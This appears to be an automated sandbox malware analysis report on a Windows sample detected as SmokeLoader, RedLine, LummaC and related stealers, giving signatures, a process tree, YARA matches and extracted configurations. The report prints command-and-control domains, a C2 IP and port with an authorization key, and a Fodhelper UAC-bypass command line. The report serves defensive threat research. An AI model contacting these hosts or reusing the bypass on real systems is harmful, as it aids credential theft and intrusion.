Edit tour

Windows Analysis Report
NBHEkIKDCr.exe

Overview

General Information

Sample name:	NBHEkIKDCr.exe renamed because original name is a hash value
Original sample name:	b53ce56fb0e4f176f943246f0f9a9761.exe
Analysis ID:	1364277
MD5:	b53ce56fb0e4f176f943246f0f9a9761
SHA1:	42f3458f496f909d75eb5965d72539e8b2ae9417
SHA256:	f73356f929e4433ab8e4de72dd2066285b3db7cf3c556c8c651a1e9a7f6cf546
Tags:	exeSocks5Systemz
Infos:

Detection

Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

UAC bypass detected (Fodhelper)

Yara detected Glupteba

Yara detected LummaC Stealer

Yara detected Petite Virus

Yara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected Socks5Systemz

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Drops PE files with benign system names

Found Tor onion address

Found evasive API chain (may stop execution after checking computer name)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

May use the Tor software to hide its network traffic

PE file contains section with special chars

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

NBHEkIKDCr.exe (PID: 6460 cmdline: C:\Users\user\Desktop\NBHEkIKDCr.exe MD5: B53CE56FB0E4F176F943246F0F9A9761)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

76D5.exe (PID: 5296 cmdline: C:\Users\user\AppData\Local\Temp\76D5.exe MD5: F5404C44B8FB624AD16068D23D269886)

76D5.exe (PID: 3632 cmdline: C:\Users\user\AppData\Local\Temp\76D5.exe MD5: F5404C44B8FB624AD16068D23D269886)

826E.exe (PID: 6544 cmdline: C:\Users\user\AppData\Local\Temp\826E.exe MD5: 06A40B3DB1A45E814F1187AFABFA16F9)

conhost.exe (PID: 2308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 2648 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\87A0.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

regsvr32.exe (PID: 1744 cmdline: /s C:\Users\user\AppData\Local\Temp\87A0.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

8FEE.exe (PID: 6864 cmdline: C:\Users\user\AppData\Local\Temp\8FEE.exe MD5: DD6115206647B6C92EED0C5B07528DFA)

933A.exe (PID: 4476 cmdline: C:\Users\user\AppData\Local\Temp\933A.exe MD5: D4FB69194E51F4ADD8A18536536DAE1D)

csrss.exe (PID: 1076 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

csrss.exe (PID: 2816 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

AF9D.exe (PID: 1144 cmdline: C:\Users\user\AppData\Local\Temp\AF9D.exe MD5: BE660C6932B361DEB87C71F2EA16E448)

C1FD.exe (PID: 3164 cmdline: C:\Users\user\AppData\Local\Temp\C1FD.exe MD5: 21FCE61654F410F6DC86BD1985D0F97A)

cmd.exe (PID: 2664 cmdline: C:\Windows\Sysnative\cmd.exe /C fodhelper MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fodhelper.exe (PID: 3128 cmdline: fodhelper MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 1168 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 1820 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

C1FD.exe (PID: 4008 cmdline: "C:\Users\user\AppData\Local\Temp\C1FD.exe" MD5: 21FCE61654F410F6DC86BD1985D0F97A)

powershell.exe (PID: 2668 cmdline: powershell -nologo -noprofile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

C1FD.exe (PID: 676 cmdline: C:\Users\user\AppData\Local\Temp\C1FD.exe MD5: 21FCE61654F410F6DC86BD1985D0F97A)

powershell.exe (PID: 5100 cmdline: powershell -nologo -noprofile MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csrss.exe (PID: 1784 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

csrss.exe (PID: 3704 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: F5404C44B8FB624AD16068D23D269886)

D5C5.exe (PID: 3248 cmdline: C:\Users\user\AppData\Local\Temp\D5C5.exe MD5: 2CFFB0BE248E3FDFBCC5311A331F95EC)

D5C5.tmp (PID: 5960 cmdline: "C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp" /SL5="$20488,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe" MD5: DC768C91E97B42F218028EFA028C41CC)

D5C5.exe (PID: 1712 cmdline: "C:\Users\user\AppData\Local\Temp\D5C5.exe" /SPAWNWND=$20478 /NOTIFYWND=$20488 MD5: 2CFFB0BE248E3FDFBCC5311A331F95EC)

D5C5.tmp (PID: 1244 cmdline: "C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp" /SL5="$C02BA,6618230,54272,C:\Users\user\AppData\Local\Temp\D5C5.exe" /SPAWNWND=$20478 /NOTIFYWND=$20488 MD5: DC768C91E97B42F218028EFA028C41CC)

net.exe (PID: 1340 cmdline: "C:\Windows\system32\net.exe" helpmsg 18 MD5: 31890A7DE89936F922D44D677F681A7F)

conhost.exe (PID: 4916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net1.exe (PID: 1820 cmdline: C:\Windows\system32\net1 helpmsg 18 MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

PRingTone.exe (PID: 2848 cmdline: "C:\Program Files (x86)\PRingTone\PRingTone.exe" -i MD5: 9A0A8708381FC8255E8CCD3C9B9570E6)

PRingTone.exe (PID: 4600 cmdline: "C:\Program Files (x86)\PRingTone\PRingTone.exe" -s MD5: 9A0A8708381FC8255E8CCD3C9B9570E6)

explorer.exe (PID: 6092 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 4564 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

faischf (PID: 1668 cmdline: C:\Users\user\AppData\Roaming\faischf MD5: B53CE56FB0E4F176F943246F0F9A9761)

TrustedInstaller.exe (PID: 3320 cmdline: C:\Windows\servicing\TrustedInstaller.exe MD5: D098F2FC042FBF6879D47E3A86FBB4A1)

svchost.exe (PID: 4192 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cwischf (PID: 6324 cmdline: C:\Users\user\AppData\Roaming\cwischf MD5: BE660C6932B361DEB87C71F2EA16E448)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Glupteba	Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.	No Attribution	http://resources.infosecinstitute.com/tdss4-part-1/ https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/ https://blog.google/technology/safety-security/new-action-combat-cyber-crime/ https://blog.google/threat-analysis-group/disrupting-glupteba-operation/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: LummaC

{"C2 url": ["reviveincapablewew.pw", "dayfarrichjwclik.fun", "neighborhoodfeelsa.fun", "ratefacilityframw.fun", "reviveincapablewew.pw", "cakecoldsplurgrewe.pw", "opposesicknessopw.pw", "politefrightenpowoa.pw"], "Build id": "MyRnHu--Install18"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://snukerukeutit.org/", "http://lightseinsteniki.org/", "http://tyiuiunuewqy.org/", "http://liuliuoumumy.org/", "http://tonimiuyaytre.org/"]}

Threatname: RedLine

{"C2 url": "38.47.221.193:34368", "Bot Id": "1218-55000", "Authorization Header": "3da2f8475e5f2664f76901c3a1bcb002"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\PRingTone\bin\x86\is-TL5BN.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\PRingTone\bin\x86\is-UQIIU.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\PRingTone\bin\x86\is-NFO0I.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
C:\Program Files (x86)\PRingTone\bin\x86\is-VBAIR.tmp	JoeSecurity_PetiteVirus	Yara detected Petite Virus	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000030.00000002.2424496657.0000000002490000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1639239838.00000000024A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2160182132.0000000000A30000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1703049912.00000000025E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000E.00000002.2096970899.0000000002C00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000002.2424591742.00000000025C1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x274:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000011.00000003.2160333190.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
0000000D.00000002.3033410607.0000000000C1D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10d8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1702932783.0000000002490000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000002A.00000002.4111813779.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000011.00000002.2213490486.00000000031F3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000003.00000002.1944472325.00000000009ED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x70ee:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1944344565.00000000009B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.1984503860.0000000002557000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001B.00000002.4114001709.00000000031F3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000002.2160255945.0000000000A5D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7304:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2160387190.00000000025E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x674:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000002D.00000002.4113654029.0000000003413000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
0000002A.00000002.4112076174.0000000002B61000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001B.00000003.2202746123.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000030.00000003.2373486814.00000000024A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1702972838.00000000025A0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
0000000D.00000002.3033082118.0000000000B20000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000003.2038973709.00000000025E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1944561825.00000000023C1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000003.1893386944.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000011.00000002.2203382140.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
00000000.00000002.1702853575.0000000000ACD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x73b6:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000030.00000002.2424289837.000000000088D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6b64:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.3032559814.0000000000400000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.2160447773.0000000002611000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x274:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000C.00000002.2285066463.0000000000A63000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000030.00000002.2424546841.00000000025A0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x674:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000018.00000002.2197640676.0000000002C00000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000003.00000002.1944361453.00000000009C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000010.00000003.2109020648.00000000025E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002D.00000002.4104507034.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
0000001B.00000002.4105881536.0000000000843000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.2289445818.0000000003BC2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8FEE.exe PID: 6864	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8FEE.exe PID: 6864	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 933A.exe PID: 4476	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: C1FD.exe PID: 3164	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Process Memory Space: C1FD.exe PID: 4008	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Process Memory Space: PRingTone.exe PID: 4600	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: C1FD.exe PID: 676	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Click to see the 60 entries

Unpacked PEs

Source	Rule	Description	Author
48.2.cwischf.2490e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.3.AF9D.exe.25e0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.NBHEkIKDCr.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.8FEE.exe.a60000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
13.2.933A.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
13.2.933A.exe.400000.0.unpack	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
48.2.cwischf.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.NBHEkIKDCr.exe.2490e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.3.NBHEkIKDCr.exe.24a0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.3.faischf.9c0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
48.3.cwischf.24a0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.3.933A.exe.25e0000.0.raw.unpack	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
16.2.AF9D.exe.a30e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
